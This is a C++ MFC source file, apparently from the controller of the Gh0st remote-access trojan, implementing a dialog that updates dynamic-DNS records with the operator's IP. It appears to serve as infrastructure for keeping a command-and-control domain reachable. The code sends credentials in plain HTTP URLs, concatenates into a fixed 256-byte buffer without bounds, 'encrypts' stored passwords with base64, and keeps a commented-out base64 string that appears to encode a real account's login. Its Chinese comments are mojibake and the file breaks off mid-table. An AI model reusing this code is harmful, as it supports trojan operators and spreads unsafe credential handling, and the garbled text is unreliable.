917 lines
26 KiB
C++
917 lines
26 KiB
C++
// UpdateDlg.cpp : implementation file
|
||
//
|
||
|
||
#include "stdafx.h"
|
||
#include "Gh0st.h"
|
||
#include "UpdateDlg.h"
|
||
|
||
#include "winsock.h"//---
|
||
#include "afxinet.h" //WinInetËùÐèÒªµÄÍ·Îļþ
|
||
|
||
#ifdef _DEBUG
|
||
#define new DEBUG_NEW
|
||
#undef THIS_FILE
|
||
static char THIS_FILE[] = __FILE__;
|
||
#endif
|
||
|
||
/////////////////////////////////////////////////////////////////////////////
|
||
// CUpdateDlg dialog
|
||
|
||
|
||
CUpdateDlg::CUpdateDlg(CWnd* pParent /*=NULL*/)
|
||
: CDialog(CUpdateDlg::IDD, pParent)
|
||
{
|
||
//{{AFX_DATA_INIT(CUpdateDlg)
|
||
m_EDIT_DnsIP = _T("");
|
||
m_EDIT_DnsIPjiami = _T("");
|
||
//}}AFX_DATA_INIT
|
||
}
|
||
|
||
|
||
void CUpdateDlg::DoDataExchange(CDataExchange* pDX)
|
||
{
|
||
CDialog::DoDataExchange(pDX);
|
||
//{{AFX_DATA_MAP(CUpdateDlg)
|
||
DDX_Control(pDX, IDC_GETWAN, m_getwan);
|
||
DDX_Control(pDX, IDC_SIGNNOIP, m_SignNOIP);
|
||
DDX_Control(pDX, IDC_SIGNNOIP2, m_SignNOIP2);
|
||
DDX_Control(pDX, IDC_SIGNNOIP3, m_SignNOIP3);
|
||
DDX_Control(pDX, IDC_COMBO_DNS, m_Combo_DnsIP);
|
||
DDX_Text(pDX, IDC_EDIT_DNSUSER, m_DnsUser);
|
||
DDV_MaxChars(pDX, m_DnsUser, 100);
|
||
DDX_Text(pDX, IDC_EDIT_DNSPASS, m_DnsPass);
|
||
DDV_MaxChars(pDX, m_DnsPass, 100);
|
||
DDX_Text(pDX, IDC_EDIT_DNSDOMAIN, m_DnsDomain);
|
||
DDV_MaxChars(pDX, m_DnsDomain, 100);
|
||
DDX_Check(pDX, IDC_3322, m_3322);
|
||
DDX_Check(pDX, IDC_HUASHENG, m_oicp);
|
||
DDX_Check(pDX, IDC_NOIP, m_noip);
|
||
DDX_Text(pDX, IDC_EDIT_DNSIP, m_EDIT_DnsIP);
|
||
DDX_Text(pDX, IDC_EDIT_DNSIPJIAMI, m_EDIT_DnsIPjiami);
|
||
//}}AFX_DATA_MAP
|
||
}
|
||
|
||
|
||
BEGIN_MESSAGE_MAP(CUpdateDlg, CDialog)
|
||
//{{AFX_MSG_MAP(CUpdateDlg)
|
||
ON_BN_CLICKED(IDC_BTN_DNSUPDATE, OnBtnDnsupdate)
|
||
ON_BN_CLICKED(IDC_GETWAN, OnGetwan)
|
||
ON_BN_CLICKED(IDC_3322, On3322)
|
||
ON_BN_CLICKED(IDC_HUASHENG, OnOicp)
|
||
ON_BN_CLICKED(IDC_NOIP, OnNoip)
|
||
ON_BN_CLICKED(IDC_DNSIPJIAMI, OnDnsipjiami)
|
||
ON_BN_CLICKED(IDC_DNSIPSJFZ, OnDnsipsjfz)
|
||
//}}AFX_MSG_MAP
|
||
END_MESSAGE_MAP()
|
||
|
||
/////////////////////////////////////////////////////////////////////////////
|
||
// CUpdateDlg message handlers
|
||
BOOL CUpdateDlg::OnInitDialog()
|
||
{
|
||
CDialog::OnInitDialog();
|
||
UpdateData(TRUE);
|
||
// TODO: Add extra initialization here
|
||
m_SignNOIP.SetURL(_T("http://www.no-ip.com/newUser.php"));
|
||
m_SignNOIP2.SetURL(_T("http://www.pubyun.com/accounts/signup/"));
|
||
m_SignNOIP3.SetURL(_T("https://console.oray.com/passport/register.html?#per"));
|
||
|
||
On3322();
|
||
|
||
//»ñµÃIP--------------------------------
|
||
WSADATA wsaData;
|
||
WSAStartup(MAKEWORD(1,1),&wsaData);
|
||
char szhostname[128];
|
||
|
||
if( gethostname(szhostname, 128) == 0 )
|
||
{
|
||
|
||
struct hostent * phost;
|
||
int i,j,h_length=4;
|
||
phost = gethostbyname(szhostname);
|
||
for( i = 0; phost!= NULL && phost->h_addr_list[i]!= NULL; i++)
|
||
{
|
||
CString str;
|
||
for( j = 0; j<h_length; j++ )
|
||
{
|
||
CString addr;
|
||
if( j > 0 )
|
||
str += ".";
|
||
addr.Format("%u", (unsigned int)((unsigned char*)phost->h_addr_list[i])[j]);
|
||
str += addr;
|
||
}
|
||
m_Combo_DnsIP.AddString(str);
|
||
}
|
||
m_Combo_DnsIP.SetCurSel(0);
|
||
}
|
||
|
||
|
||
BOOL m_bOnline=TRUE;//ÊÇ·ñÔÚÏß
|
||
DWORD dwFlag;
|
||
m_bOnline=InternetGetConnectedState(&dwFlag,0);
|
||
if(m_bOnline)//ÔÚÏß
|
||
{
|
||
GetDlgItem(IDC_GETWAN)->EnableWindow(TRUE);
|
||
}
|
||
else
|
||
{
|
||
GetDlgItem(IDC_GETWAN)->EnableWindow(FALSE);
|
||
SetDlgItemText(IDC_COMBO_DNS,"No Internet");
|
||
}
|
||
|
||
UpdateData(FALSE);
|
||
return TRUE;
|
||
}
|
||
|
||
static char base64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||
|
||
int base64_encode1(const void *data, int size, char **str)
|
||
{
|
||
char *s, *p;
|
||
int i;
|
||
int c;
|
||
const unsigned char *q;
|
||
|
||
p = s = (char*)malloc(size*4/3+4);
|
||
if (p == NULL)
|
||
return -1;
|
||
q = (const unsigned char*)data;
|
||
i=0;
|
||
for(i = 0; i < size;){
|
||
c=q[i++];
|
||
c*=256;
|
||
if(i < size)
|
||
c+=q[i];
|
||
i++;
|
||
c*=256;
|
||
if(i < size)
|
||
c+=q[i];
|
||
i++;
|
||
p[0]=base64[(c&0x00fc0000) >> 18];
|
||
p[1]=base64[(c&0x0003f000) >> 12];
|
||
p[2]=base64[(c&0x00000fc0) >> 6];
|
||
p[3]=base64[(c&0x0000003f) >> 0];
|
||
if(i > size)
|
||
p[3]='=';
|
||
if(i > size+1)
|
||
p[2]='=';
|
||
p+=4;
|
||
}
|
||
*p=0;
|
||
*str = s;
|
||
return strlen(s);
|
||
}
|
||
|
||
char ShowText[200];
|
||
void CUpdateDlg::OnBtnDnsupdate()
|
||
{
|
||
// TODO: Add your control notification handler code here
|
||
UpdateData();
|
||
if (m_3322)
|
||
{
|
||
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("UpdateIp", "3322User", m_DnsUser);
|
||
CString Mistr;
|
||
Mistr=Base64Encode(m_DnsPass); //¼ÓÃܺ¯Êý
|
||
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("UpdateIp", "3322Pass", Mistr);//±£´æÃÜÂë
|
||
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("UpdateIp", "3322Domain",m_DnsDomain);
|
||
|
||
CString strUrl, strDNS, strTmp = _T("");
|
||
CString id,pass,ip;
|
||
GetDlgItem(IDC_EDIT_DNSUSER)->GetWindowText(id);
|
||
GetDlgItem(IDC_EDIT_DNSPASS)->GetWindowText(pass);
|
||
GetDlgItem(IDC_EDIT_DNSDOMAIN)->GetWindowText(strDNS);
|
||
GetDlgItem(IDC_COMBO_DNS)->GetWindowText(ip);
|
||
|
||
char a[256]="http://";
|
||
char *b="@members.3322.org/dyndns/update?system=dyndns&hostname=";
|
||
char *c="&myip=";
|
||
char *d="&wildcard=OFF";
|
||
|
||
strcat(a,id);
|
||
strcat(a,":");
|
||
strcat(a,pass);
|
||
strcat(a,b);
|
||
strcat(a,strDNS);
|
||
strcat(a,c);
|
||
strcat(a,ip);
|
||
strcat(a,d);
|
||
|
||
HINTERNET hNet = ::InternetOpen("3322", //µ±HTTPÐÒéʹÓÃʱ£¬Õâ¸ö²ÎÊýËæÒ⸳ֵ
|
||
PRE_CONFIG_INTERNET_ACCESS, //·ÃÎÊÀàÐÍָʾWin32ÍøÂ纯ÊýʹÓõǼÇÐÅϢȥ·¢ÏÖÒ»¸ö·þÎñÆ÷
|
||
NULL,
|
||
INTERNET_INVALID_PORT_NUMBER, //ʹÓÃINTERNET_INVALID_PORT_NUMBERÏ൱ÓÚÌṩȴʡµÄ¶Ë¿ÚÊý
|
||
0 //±ê־ȥָʾʹÓ÷µ»Ø¾ä¾ä±úµÄ½«À´µÄInternetº¯Êý½«"²»"Ϊ»Øµ÷º¯Êý·¢ËÍ״̬ÐÅÏ¢
|
||
);
|
||
|
||
HINTERNET hUrlFile = ::InternetOpenUrl(hNet, //´ÓInternetOpen·µ»ØµÄ¾ä±ú
|
||
(char *)a, //ÐèÒª´ò¿ªµÄURL
|
||
NULL, //ÓÃÀ´Ïò·þÎñÆ÷´«ËͶîÍâµÄÐÅÏ¢,Ò»°ãΪNULL
|
||
0, //ÓÃÀ´Ïò·þÎñÆ÷´«ËͶîÍâµÄÐÅÏ¢,Ò»°ãΪ 0
|
||
INTERNET_FLAG_RELOAD, //InternetOpenUrlÐÐΪµÄ±êÖ¾
|
||
0); //ÐÅÏ¢½«²»»á±»Ë͵½×´Ì¬»Øµ÷º¯Êý
|
||
|
||
char buffer[1024] ;
|
||
DWORD dwBytesRead = 0;
|
||
BOOL bRead = ::InternetReadFile(hUrlFile, //InternetOpenUrl·µ»ØµÄ¾ä±ú
|
||
buffer, //±£ÁôÊý¾ÝµÄ»º³åÇø
|
||
sizeof(buffer),
|
||
&dwBytesRead); //Ö¸Ïò°üº¬¶ÁÈ뻺³åÇø×Ö½ÚÊýµÄ±äÁ¿µÄÖ¸Õë;
|
||
//Èç¹û·µ»ØÖµÊÇTRUE£¬¶øÇÒÕâÀïÖ¸Ïò0£¬ÔòÎļþÒѾ¶Áµ½ÁËÎļþµÄĩβ¡£
|
||
|
||
::InternetCloseHandle(hUrlFile) ;
|
||
::InternetCloseHandle(hNet) ;
|
||
|
||
if(buffer>0)
|
||
{
|
||
if(strstr(buffer,"badauth"))
|
||
{
|
||
SetDlgItemText(IDC_SHOWTIPS, _T("Óû§»òÃÜÂë´íÎó,ÇëÖØÐ¸üÐÂ"));
|
||
// MessageBox("Óû§»òÃÜÂë´íÎó ÇëÖØÐ¸üР...");
|
||
}
|
||
|
||
if(strstr(buffer,"good"))
|
||
{
|
||
wsprintf(ShowText,"%s:%s","Ï£ÍøÓòÃûIP¸üгɹ¦",ip);
|
||
SetDlgItemText(IDC_SHOWTIPS, ShowText);
|
||
// MessageBox("ÓòÃû¸üгɹ¦ ...\r\n"+ip+"\r\n");
|
||
}
|
||
if(strstr(buffer,"nohost"))
|
||
{
|
||
SetDlgItemText(IDC_SHOWTIPS, _T("ÓòÃû²»´æÔÚ"));
|
||
// MessageBox(_T("ÓòÃû´íÎó ...\n\rÇë¼ì²éÊÇ·ñÊäÈëÕýÈ·"));
|
||
}
|
||
if(strstr(buffer,"nochg"))
|
||
{
|
||
char ShowText[200];
|
||
wsprintf(ShowText,"%s:%s","IPÒѾָÏò¸ÃÓòÃû",ip);
|
||
SetDlgItemText(IDC_SHOWTIPS, ShowText);
|
||
// MessageBox(_T("ÓòÃûÀï´¢´æµÄIPÒÑΪµ±Ç°IP ..."));
|
||
}
|
||
|
||
}
|
||
else
|
||
{
|
||
::MessageBox(NULL,_T("ÓòÃû¸üгɹ¦ ..."),"Notice",MB_ICONINFORMATION);
|
||
|
||
}
|
||
memset(buffer,0,sizeof(buffer));
|
||
|
||
}
|
||
if (m_oicp)
|
||
{
|
||
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("UpdateIp", "OicpUser", m_DnsUser);
|
||
CString Mistr;
|
||
Mistr=Base64Encode(m_DnsPass); //¼ÓÃܺ¯Êý
|
||
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("UpdateIp", "OicpPass", Mistr);//±£´æÃÜÂë
|
||
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("UpdateIp", "OicpDomain",m_DnsDomain);
|
||
|
||
CString id,pass,dns,ip;
|
||
GetDlgItem(IDC_EDIT_DNSUSER)->GetWindowText(id);
|
||
GetDlgItem(IDC_EDIT_DNSPASS)->GetWindowText(pass);
|
||
GetDlgItem(IDC_EDIT_DNSDOMAIN)->GetWindowText(dns);
|
||
GetDlgItem(IDC_COMBO_DNS)->GetWindowText(ip);
|
||
|
||
char a[256]="http://";
|
||
char *b="@ddns.oray.com/ph/update?hostname=";
|
||
char *c="&myip=";
|
||
|
||
strcat(a,id);
|
||
strcat(a,":");
|
||
strcat(a,pass);
|
||
strcat(a,b);
|
||
strcat(a,dns);
|
||
strcat(a,c);
|
||
strcat(a,ip);
|
||
|
||
HINTERNET hNet = ::InternetOpen("oray", //µ±HTTPÐÒéʹÓÃʱ£¬Õâ¸ö²ÎÊýËæÒ⸳ֵ
|
||
PRE_CONFIG_INTERNET_ACCESS, //·ÃÎÊÀàÐÍָʾWin32ÍøÂ纯ÊýʹÓõǼÇÐÅϢȥ·¢ÏÖÒ»¸ö·þÎñÆ÷
|
||
NULL,
|
||
INTERNET_INVALID_PORT_NUMBER, //ʹÓÃINTERNET_INVALID_PORT_NUMBERÏ൱ÓÚÌṩȴʡµÄ¶Ë¿ÚÊý
|
||
0 //±ê־ȥָʾʹÓ÷µ»Ø¾ä¾ä±úµÄ½«À´µÄInternetº¯Êý½«"²»"Ϊ»Øµ÷º¯Êý·¢ËÍ״̬ÐÅÏ¢
|
||
);
|
||
|
||
HINTERNET hUrlFile = ::InternetOpenUrl(hNet, //´ÓInternetOpen·µ»ØµÄ¾ä±ú
|
||
(char *)a, //ÐèÒª´ò¿ªµÄURL
|
||
NULL, //ÓÃÀ´Ïò·þÎñÆ÷´«ËͶîÍâµÄÐÅÏ¢,Ò»°ãΪNULL
|
||
0, //ÓÃÀ´Ïò·þÎñÆ÷´«ËͶîÍâµÄÐÅÏ¢,Ò»°ãΪ 0
|
||
INTERNET_FLAG_RELOAD, //InternetOpenUrlÐÐΪµÄ±êÖ¾
|
||
0); //ÐÅÏ¢½«²»»á±»Ë͵½×´Ì¬»Øµ÷º¯Êý
|
||
|
||
char buffer[1024] ;
|
||
DWORD dwBytesRead = 0;
|
||
BOOL bRead = ::InternetReadFile(hUrlFile, //InternetOpenUrl·µ»ØµÄ¾ä±ú
|
||
buffer, //±£ÁôÊý¾ÝµÄ»º³åÇø
|
||
sizeof(buffer),
|
||
&dwBytesRead); //Ö¸Ïò°üº¬¶ÁÈ뻺³åÇø×Ö½ÚÊýµÄ±äÁ¿µÄÖ¸Õë;
|
||
//Èç¹û·µ»ØÖµÊÇTRUE£¬¶øÇÒÕâÀïÖ¸Ïò0£¬ÔòÎļþÒѾ¶Áµ½ÁËÎļþµÄĩβ¡£
|
||
|
||
::InternetCloseHandle(hUrlFile) ;
|
||
::InternetCloseHandle(hNet) ;
|
||
|
||
// CString HotName="»¨Éú¿ÇÓòÃûIP¸üÐÂ";
|
||
if(buffer>0)
|
||
{
|
||
if(strstr(buffer,"good"))
|
||
SetDlgItemText(IDC_SHOWTIPS,"»¨Éú¿ÇIP¸üгɹ¦:"+ip);
|
||
// MessageBox("¸üгɹ¦£¬ÒѸü¸ÄÓòÃûIP ...\r\n"+ip+"\r\n", HotName, MB_OK | MB_ICONASTERISK);
|
||
else if(strstr(buffer,"nochg"))
|
||
SetDlgItemText(IDC_SHOWTIPS,"IPÒѾָÏò¸ÃÓòÃû:"+ip);
|
||
// MessageBox("´æ´¢IPÏàͬ£¬Ã»ÓиıäIP ...", HotName, MB_OK | MB_ICONASTERISK);
|
||
else if(strstr(buffer,"notfqdn"))
|
||
SetDlgItemText(IDC_SHOWTIPS, _T("¸üÐÂʧ°Ü,δ¼¤»î»¨Éú¿ÇÓòÃû"));
|
||
// MessageBox("¸üÐÂʧ°Ü£¬Î´¼¤»î»¨Éú¿ÇÓòÃû ...", HotName, MB_OK | MB_ICONWARNING);
|
||
else if(strstr(buffer,"nohost"))
|
||
SetDlgItemText(IDC_SHOWTIPS, _T("ÓòÃû²»´æÔÚ"));
|
||
// MessageBox("ÓòÃû²»´æÔÚ»òδ¼¤»î»¨Éú¿Ç ...",HotName, MB_OK | MB_ICONWARNING);
|
||
else if(strstr(buffer,"abuse"))
|
||
SetDlgItemText(IDC_SHOWTIPS, _T("Ƶ·±ÇëÇó»òÑé֤ʧ°Ü"));
|
||
// MessageBox("Ƶ·±ÇëÇó»òÑé֤ʧ°Ü ...",HotName, MB_OK | MB_ICONWARNING);
|
||
else if(strstr(buffer,"badauth"))
|
||
SetDlgItemText(IDC_SHOWTIPS, _T("Óû§»òÃÜÂë´íÎó,ÇëÖØÐ¸üÐÂ"));
|
||
// MessageBox("¸üÐÂʧ°Ü£¬Óû§Ãû»òÃÜÂë´íÎó ...",HotName, MB_OK | MB_ICONWARNING);
|
||
else
|
||
SetDlgItemText(IDC_SHOWTIPS, _T("δ֪Ãû´íÎó ..."));
|
||
// MessageBox("δ֪Ãû´íÎó ...",HotName, MB_OK | MB_ICONWARNING);
|
||
}
|
||
}
|
||
if (m_noip)
|
||
{
|
||
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("UpdateIp", "NoipUser", m_DnsUser);
|
||
CString Mistr;
|
||
Mistr=Base64Encode(m_DnsPass); //¼ÓÃܺ¯Êý
|
||
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("UpdateIp", "NoipPass", Mistr);//±£´æÃÜÂë
|
||
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("UpdateIp", "NoipDomain",m_DnsDomain);
|
||
|
||
|
||
CString strUrl, strDNS, strTmp = _T("");
|
||
CString id,pass,ip;
|
||
GetDlgItem(IDC_EDIT_DNSUSER)->GetWindowText(id);
|
||
GetDlgItem(IDC_EDIT_DNSPASS)->GetWindowText(pass);
|
||
GetDlgItem(IDC_EDIT_DNSDOMAIN)->GetWindowText(strDNS);
|
||
GetDlgItem(IDC_COMBO_DNS)->GetWindowText(ip);
|
||
|
||
strUrl = _T("http://");
|
||
strUrl += _T("dynupdate.no-ip.com/nic/update?hostname=");
|
||
strUrl += strDNS;
|
||
strUrl += _T("&myip=");
|
||
strUrl += ip;
|
||
|
||
char szEncode[MAX_PATH];
|
||
char *szOut;
|
||
wsprintfA(szEncode, _T("%s:%s"), id, pass);
|
||
base64_encode1(szEncode, strlen(szEncode), &szOut);
|
||
|
||
SetDlgItemText(IDC_SHOWTIPS, _T("Update...Wait..."));
|
||
|
||
CString strHeaders;
|
||
strHeaders.Format(_T("Authorization:Basic %s"), szOut);//= _T("c2Vla3dpbmRzQGdtYWlsLmNvbTp5aW5nNTg0MjAzMzQ0");
|
||
CInternetSession m_Session(NULL, 0);
|
||
CHttpFile* pHttpFile = NULL;
|
||
pHttpFile = (CHttpFile*)m_Session.OpenURL(strUrl, 1, INTERNET_FLAG_TRANSFER_ASCII | INTERNET_FLAG_SECURE, strHeaders, strHeaders.GetLength());
|
||
char szRet[1024];
|
||
if(pHttpFile != NULL)
|
||
{
|
||
while (pHttpFile->ReadString((LPTSTR)szRet, 1024) != NULL)
|
||
{
|
||
strTmp += szRet;
|
||
}
|
||
}
|
||
pHttpFile->Close();
|
||
m_Session.Close();
|
||
delete pHttpFile;
|
||
pHttpFile = NULL;
|
||
if(strTmp.GetLength()>0)
|
||
{
|
||
if(strstr(strTmp,_T("badauth")))
|
||
{
|
||
SetDlgItemText(IDC_SHOWTIPS, _T("Óû§»òÃÜÂë´íÎó,ÇëÖØÐ¸üÐÂ"));
|
||
// SetDlgItemText(IDC_SHOWTIPS, _T("Password or UserName Wrong"));
|
||
}
|
||
if(strstr(strTmp,_T("good")))
|
||
{
|
||
wsprintf(ShowText,"%s:%s","No-IP ¸üгɹ¦",ip);
|
||
SetDlgItemText(IDC_SHOWTIPS, ShowText);
|
||
}
|
||
if(strstr(strTmp,_T("nohost")))
|
||
{
|
||
SetDlgItemText(IDC_SHOWTIPS, _T("ÓòÃû²»´æÔÚ"));
|
||
}
|
||
if(strstr(strTmp,_T("nochg")))
|
||
{
|
||
wsprintf(ShowText,"%s:%s","IPÒѾָÏò¸ÃÓòÃû",ip);
|
||
SetDlgItemText(IDC_SHOWTIPS, ShowText);
|
||
}
|
||
}
|
||
else
|
||
{
|
||
SetDlgItemText(IDC_SHOWTIPS, _T("No-IP ¸üгɹ¦"));
|
||
}
|
||
}
|
||
}
|
||
|
||
void CUpdateDlg::OnGetwan()
|
||
{
|
||
// TODO: Add your control notification handler code here
|
||
// try
|
||
// {
|
||
// CInternetSession session;
|
||
// CString strURL(_T("http://ip.3322.org/"));
|
||
// CFile* pFile = session.OpenURL(strURL);
|
||
// DWORD dwLen = pFile->GetLength();
|
||
// char* pBuf = new char[dwLen+1];
|
||
// memset(pBuf, 0, sizeof(char)*(dwLen+1));
|
||
// pFile->Read(pBuf, dwLen);
|
||
// SetDlgItemText(IDC_COMBO_DNS, CString(pBuf));
|
||
// SetDlgItemText(IDC_EDIT_DNSIP, CString(pBuf));
|
||
// delete[] pBuf;
|
||
// pBuf = NULL;
|
||
// pFile->Close();
|
||
// SetDlgItemText(IDC_SHOWTIPS, _T("»ñÈ¡ÍâÍøIP³É¹¦"));
|
||
// }
|
||
// catch (CException* e)
|
||
// {
|
||
// e->ReportError();
|
||
// e->Delete();
|
||
// }
|
||
CUpdateDlg sty;
|
||
CString Gip;
|
||
|
||
m_getwan.EnableWindow(FALSE); //½ûÓð´¼ü
|
||
Gip=sty.GetIPAddress();
|
||
SetDlgItemText(IDC_COMBO_DNS, Gip);
|
||
SetDlgItemText(IDC_EDIT_DNSIP, Gip);
|
||
SetDlgItemText(IDC_SHOWTIPS, _T("»ñÈ¡ÍâÍøIP³É¹¦"));
|
||
// SetDlgItemText(IDC_LONGIP2,Gip);
|
||
m_getwan.EnableWindow(TRUE); //»Ö¸´°´¼ü
|
||
}
|
||
|
||
void CUpdateDlg::On3322()
|
||
{
|
||
// TODO: Add your control notification handler code here
|
||
UpdateData(TRUE);
|
||
CString Mistr;
|
||
m_3322 = ((CGh0stApp *)AfxGetApp())->m_IniFile.SetInt("UpdateIp", "3322",TRUE);
|
||
m_DnsUser = ((CGh0stApp *)AfxGetApp())->m_IniFile.GetString("UpdateIp", "3322User", "xxx@hotmail.com");//_T("xxx@hotmail.com");
|
||
// m_DnsPass = _T("xxxxx");
|
||
Mistr = ((CGh0stApp *)AfxGetApp())->m_IniFile.GetString("UpdateIp", "3322Pass", "xxxxx");
|
||
m_DnsPass=Base64Decode(Mistr); //½âÃÜ
|
||
m_DnsDomain =((CGh0stApp *)AfxGetApp())->m_IniFile.GetString("UpdateIp", "3322Domain", "xxx.f3322.org");//_T("xxx.f3322.org");
|
||
UpdateData(FALSE);
|
||
}
|
||
|
||
void CUpdateDlg::OnOicp()
|
||
{
|
||
// TODO: Add your control notification handler code here
|
||
UpdateData(TRUE);
|
||
CString Mistr;
|
||
// m_oicp = ((CClientApp *)AfxGetApp())->m_IniFile.SetInt("UpdateIp", "Oicp",TRUE);
|
||
m_DnsUser = ((CGh0stApp *)AfxGetApp())->m_IniFile.GetString("UpdateIp", "OicpUser", "xxx@hotmail.com");//_T("xxx@hotmail.com");
|
||
// m_DnsPass = _T("xxxxx");
|
||
Mistr = ((CGh0stApp *)AfxGetApp())->m_IniFile.GetString("UpdateIp", "OicpPass", "xxxxx");
|
||
m_DnsPass=Base64Decode(Mistr); //½âÃÜ
|
||
m_DnsDomain =((CGh0stApp *)AfxGetApp())->m_IniFile.GetString("UpdateIp", "OicpDomain", "xxx.oicp.org");//_T("xxx.oicp.org");
|
||
UpdateData(FALSE);
|
||
}
|
||
|
||
void CUpdateDlg::OnNoip()
|
||
{
|
||
// TODO: Add your control notification handler code here
|
||
UpdateData(TRUE);
|
||
CString Mistr;
|
||
// m_noip = ((CClientApp *)AfxGetApp())->m_IniFile.SetInt("UpdateIp", "Noip",TRUE);
|
||
m_DnsUser = ((CGh0stApp *)AfxGetApp())->m_IniFile.GetString("UpdateIp", "NoipUser", "xxx@hotmail.com");//_T("xxx@hotmail.com");
|
||
// m_DnsPass = _T("xxxxx");
|
||
Mistr = ((CGh0stApp *)AfxGetApp())->m_IniFile.GetString("UpdateIp", "NoipPass", "xxxxx");
|
||
m_DnsPass=Base64Decode(Mistr); //½âÃÜ
|
||
m_DnsDomain =((CGh0stApp *)AfxGetApp())->m_IniFile.GetString("UpdateIp", "NoipDomain", "xxx.no-ip.org");//_T("xxx.no-ip.org");
|
||
UpdateData(FALSE);
|
||
}
|
||
|
||
//////////////////////////////////////////////////////////////////////////
|
||
//Base64¼ÓÃܺ¯Êý
|
||
//////////////////////////////////////////////////////////////////////////
|
||
CString CUpdateDlg::Base64Encode(LPCTSTR lpszSrc) //¼ÓÃܺ¯Êý
|
||
{
|
||
ASSERT(lpszSrc != NULL && AfxIsValidString(lpszSrc));
|
||
const char BASE64_ENCODE_TABLE[64] = {
|
||
65, 66, 67, 68, 69, 70, 71, 72, // 00 - 07
|
||
73, 74, 75, 76, 77, 78, 79, 80, // 08 - 15
|
||
81, 82, 83, 84, 85, 86, 87, 88, // 16 - 23
|
||
89, 90, 97, 98, 99, 100, 101, 102, // 24 - 31
|
||
103, 104, 105, 106, 107, 108, 109, 110, // 32 - 39
|
||
111, 112, 113, 114, 115, 116, 117, 118, // 40 - 47
|
||
119, 120, 121, 122, 48, 49, 50, 51, // 48 - 55
|
||
52, 53, 54, 55, 56, 57, 43, 47 };// 56 - 63
|
||
|
||
unsigned int iTest;
|
||
|
||
LPCTSTR pInBuffer=lpszSrc;
|
||
|
||
int nSize = (int)_tcslen(lpszSrc);
|
||
char* pOutBuffer=new char[nSize/3*4+5];
|
||
ZeroMemory(pOutBuffer,nSize/3*4+5);
|
||
|
||
for(UINT i=0;i<_tcslen(lpszSrc) / 3;i++)
|
||
{
|
||
iTest = (unsigned char) *pInBuffer++;
|
||
iTest = iTest << 8;
|
||
|
||
iTest = iTest | (unsigned char) *pInBuffer++;
|
||
iTest = iTest << 8;
|
||
|
||
iTest = iTest | (unsigned char) *pInBuffer++;
|
||
|
||
//ÒÔ4 byteµ¹ÐòдÈëÊä³ö»º³å
|
||
pOutBuffer[3] = BASE64_ENCODE_TABLE[iTest & 0x3F];
|
||
iTest = iTest >> 6;
|
||
pOutBuffer[2] = BASE64_ENCODE_TABLE[iTest & 0x3F];
|
||
iTest = iTest >> 6;
|
||
pOutBuffer[1] = BASE64_ENCODE_TABLE[iTest & 0x3F];
|
||
iTest = iTest >> 6;
|
||
pOutBuffer[0] = BASE64_ENCODE_TABLE[iTest];
|
||
pOutBuffer+=4;
|
||
}
|
||
|
||
//ÉèÖÃβ²¿
|
||
switch (_tcslen(lpszSrc) % 3)
|
||
{
|
||
case 0:
|
||
break;
|
||
case 1:
|
||
iTest = (unsigned char) *pInBuffer;
|
||
iTest = iTest << 4;
|
||
pOutBuffer[1] = BASE64_ENCODE_TABLE[iTest & 0x3F];
|
||
iTest = iTest >> 6;
|
||
pOutBuffer[0] = BASE64_ENCODE_TABLE[iTest];
|
||
pOutBuffer[2] = '='; //ÓÃ'='Ò²¾ÍÊÇ64ÂëÌî³äÊ£Óಿ·Ö
|
||
pOutBuffer[3] = '=';
|
||
break;
|
||
case 2:
|
||
iTest = (unsigned char) *pInBuffer++;
|
||
iTest = iTest << 8;
|
||
iTest = iTest | (unsigned char) *pInBuffer;
|
||
iTest = iTest << 2;
|
||
pOutBuffer[2] = BASE64_ENCODE_TABLE[iTest & 0x3F];
|
||
iTest = iTest >> 6;
|
||
pOutBuffer[1] = BASE64_ENCODE_TABLE[iTest & 0x3F];
|
||
iTest = iTest >> 6;
|
||
pOutBuffer[0] = BASE64_ENCODE_TABLE[iTest];
|
||
pOutBuffer[3] = '='; // Fill remaining byte.
|
||
break;
|
||
}
|
||
pOutBuffer-=nSize/3*4;
|
||
CString strEncode=pOutBuffer;
|
||
delete [] pOutBuffer;
|
||
pOutBuffer=NULL;
|
||
return strEncode;
|
||
}
|
||
|
||
//////////////////////////////////////////////////////////////////////////
|
||
//Base64½âÃܺ¯Êý
|
||
//////////////////////////////////////////////////////////////////////////
|
||
CString CUpdateDlg::Base64Decode(LPCTSTR lpszSrc)
|
||
{
|
||
ASSERT(lpszSrc != NULL && AfxIsValidString(lpszSrc));
|
||
const unsigned int BASE64_DECODE_TABLE[256] = {
|
||
255, 255, 255, 255, 255, 255, 255, 255, // 00 - 07
|
||
255, 255, 255, 255, 255, 255, 255, 255, // 08 - 15
|
||
255, 255, 255, 255, 255, 255, 255, 255, // 16 - 23
|
||
255, 255, 255, 255, 255, 255, 255, 255, // 24 - 31
|
||
255, 255, 255, 255, 255, 255, 255, 255, // 32 - 39
|
||
255, 255, 255, 62, 255, 255, 255, 63, // 40 - 47
|
||
52, 53, 54, 55, 56, 57, 58, 59, // 48 - 55
|
||
60, 61, 255, 255, 255, 255, 255, 255, // 56 - 63
|
||
255, 0, 1, 2, 3, 4, 5, 6, // 64 - 71
|
||
7, 8, 9, 10, 11, 12, 13, 14, // 72 - 79
|
||
15, 16, 17, 18, 19, 20, 21, 22, // 80 - 87
|
||
23, 24, 25, 255, 255, 255, 255, 255, // 88 - 95
|
||
255, 26, 27, 28, 29, 30, 31, 32, // 96 - 103
|
||
33, 34, 35, 36, 37, 38, 39, 40, // 104 - 111
|
||
41, 42, 43, 44, 45, 46, 47, 48, // 112 - 119
|
||
49, 50, 51, 255, 255, 255, 255, 255, // 120 - 127
|
||
255, 255, 255, 255, 255, 255, 255, 255,
|
||
255, 255, 255, 255, 255, 255, 255, 255,
|
||
255, 255, 255, 255, 255, 255, 255, 255,
|
||
255, 255, 255, 255, 255, 255, 255, 255,
|
||
255, 255, 255, 255, 255, 255, 255, 255,
|
||
255, 255, 255, 255, 255, 255, 255, 255,
|
||
255, 255, 255, 255, 255, 255, 255, 255,
|
||
255, 255, 255, 255, 255, 255, 255, 255,
|
||
